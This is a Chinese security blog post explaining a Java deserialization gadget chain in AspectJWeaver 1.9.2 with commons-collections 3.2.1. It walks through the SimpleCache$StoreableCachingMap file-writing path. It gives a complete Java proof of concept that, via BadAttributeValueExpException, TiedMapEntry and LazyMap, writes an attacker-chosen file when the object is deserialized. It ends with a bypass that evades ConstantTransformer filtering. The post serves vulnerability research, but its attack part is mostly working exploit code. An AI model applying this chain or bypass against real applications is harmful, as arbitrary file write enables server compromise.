AspectjWeaver反序列化

要求版本<=1.9.2

<dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjweaver</artifactId>
            <version>1.9.2</version>
        </dependency>

除此以外,还要求有cc的依赖

<dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

SimpleCache

来看这个类的内部类StoreableCachingMap中的部分片段:

private static class StoreableCachingMap extends HashMap {
        private String folder;
        private static final String CACHENAMEIDX = "cache.idx";
        private long lastStored = System.currentTimeMillis();
        private static int DEF_STORING_TIMER = 60000;
        private int storingTimer;
        private transient Trace trace;

        private void initTrace() {
            this.trace = TraceFactory.getTraceFactory().getTrace(StoreableCachingMap.class);
        }

        private StoreableCachingMap(String folder, int storingTimer) {
            this.folder = folder;
            this.initTrace();
            this.storingTimer = storingTimer;
        }

        public Object put(Object key, Object value) {
            IOException e;
            try {
                e = null;
                byte[] valueBytes = (byte[])((byte[])value);
                String path;
                if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
                    path = "IDEM";
                } else {
                    path = this.writeToPath((String)key, valueBytes);
                }

                Object result = super.put(key, path);
                this.storeMap();
                return result;
            } catch (IOException var6) {
                e = var6;
                this.trace.error("Error inserting in cache: key:" + key.toString() + "; value:" + value.toString(), e);
                Dump.dumpWithException(e);
                return null;
            }
        }

        private String writeToPath(String key, byte[] bytes) throws IOException {
            String fullPath = this.folder + File.separator + key;
            FileOutputStream fos = new FileOutputStream(fullPath);
            fos.write(bytes);
            fos.flush();
            fos.close();
            return fullPath;
        }
    }

发现其中的put方法调用了writeToPath,可以用来写文件.

LazyMap

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    protected final Transformer factory;

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

    public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }
}

我们在cc6中是使用get方法去调用transform方法,然而这里是使用他去调用put方法的.那么接下来就比较清晰了,无论是使用BadAttributeValueExpException去调用TiedMapEntrytoString方法还是使用HashMap去调用TiedMapEntryhashCode方法都行.
下面仅给出BadAttributeValueExpException的poc:

package org.example;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        // 反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        con.setAccessible(true);
        // 实例化对象
        HashMap map = (HashMap)con.newInstance("E:", 1);
        // 这里用到ConstantTransformer是为了构造value,即写入文件的值
        ConstantTransformer transform = new ConstantTransformer("Hello World".getBytes(StandardCharsets.UTF_8));
        // 返回一个LazyMap对象
        Map outmap = LazyMap.decorate(map,transform);
        // 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法
        TiedMapEntry tiedmap = new TiedMapEntry(outmap,"1.txt");
        // 这里是为了序列化时不触发LazyMap的get方法
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        // 序列化
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(poc);
        System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));
        // 反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
}

HelloWorld会被写入到E盘下.

bypass

一个小的bypass:

        Factory ft =  new ConstantFactory("Hello World".getBytes(StandardCharsets.UTF_8));
        Transformer ct =  new FactoryTransformer(ft);

可以用来绕过constantTransformer

posted @ 2025-02-16 00:02  colorfullbz  阅读(71)  评论(0)    收藏  举报